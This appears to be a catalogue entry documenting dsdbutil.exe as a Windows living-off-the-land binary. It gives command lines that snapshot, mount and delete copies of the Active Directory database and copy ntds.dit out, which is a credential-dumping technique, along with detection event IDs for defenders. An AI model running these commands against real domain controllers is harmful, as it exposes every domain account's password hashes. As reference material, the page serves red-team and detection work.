Dsdbutil is a command-line tool that is built into Windows Server. It is available if you have the AD LDS server role installed. Can be used as a command line utility to export Active Directory. Located at: C:\Windows\System32\dsdbutil.exe; C:\Windows\SysWOW64\dsdbutil.exe.
dsdbutildsdbutilSandbox: execFile · Timeout: 30s
credential.dump Outputs
process.output Command execution output
process_spawn Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | low |
| Disk I/O | low |
dsdbutil supports VSS snapshot creation (Snapshoting of Active Directory NTDS.dit database)
dsdbutil.exe "activate instance ntds" "snapshot" "create" "quit" "quit"Mounting the snapshot with its GUID (Mounting the snapshot to access the ntds.dit with `copy c:\<Snap Volume>\windows\ntds\ntds.dit c:\users\administrator\desktop\ntds.dit.bak`)
dsdbutil.exe "activate instance ntds" "snapshot" "mount {GUID}" "quit" "quit"Deletes the mount of the snapshot (Deletes the snapshot)
dsdbutil.exe "activate instance ntds" "snapshot" "delete {GUID}" "quit" "quit"Mounting with snapshot identifier (Mounting the snapshot identifier 1 and accessing it with `copy c:\<Snap Volume>\windows\ntds\ntds.dit c:\users\administrator\desktop\ntds.dit.bak`)
dsdbutil.exe "activate instance ntds" "snapshot" "create" "list all" "mount 1" "quit" "quit"Deletes the mount of the snapshot (deletes the snapshot)
dsdbutil.exe "activate instance ntds" "snapshot" "list all" "delete 1" "quit" "quit"| Type | Rule / Indicator |
|---|---|
| ioc | Event ID 4688 |
| ioc | dsdbutil.exe process creation |
| ioc | Event ID 4663 |
| ioc | Regular and Volume Shadow Copy attempts to read or modify ntds.dit |
| ioc | Event ID 4656 |
| ioc | Regular and Volume Shadow Copy attempts to read or modify ntds.dit |
dsdbutil is a Windows LOLBin. Dsdbutil is a command-line tool that is built into Windows Server. It is available if you have the AD LDS server role installed. Can be used as a command line utility to export Active Directory. Located at: C:\Windows\System32\dsdbutil.exe; C:\Windows\SysWOW64\dsdbutil.exe.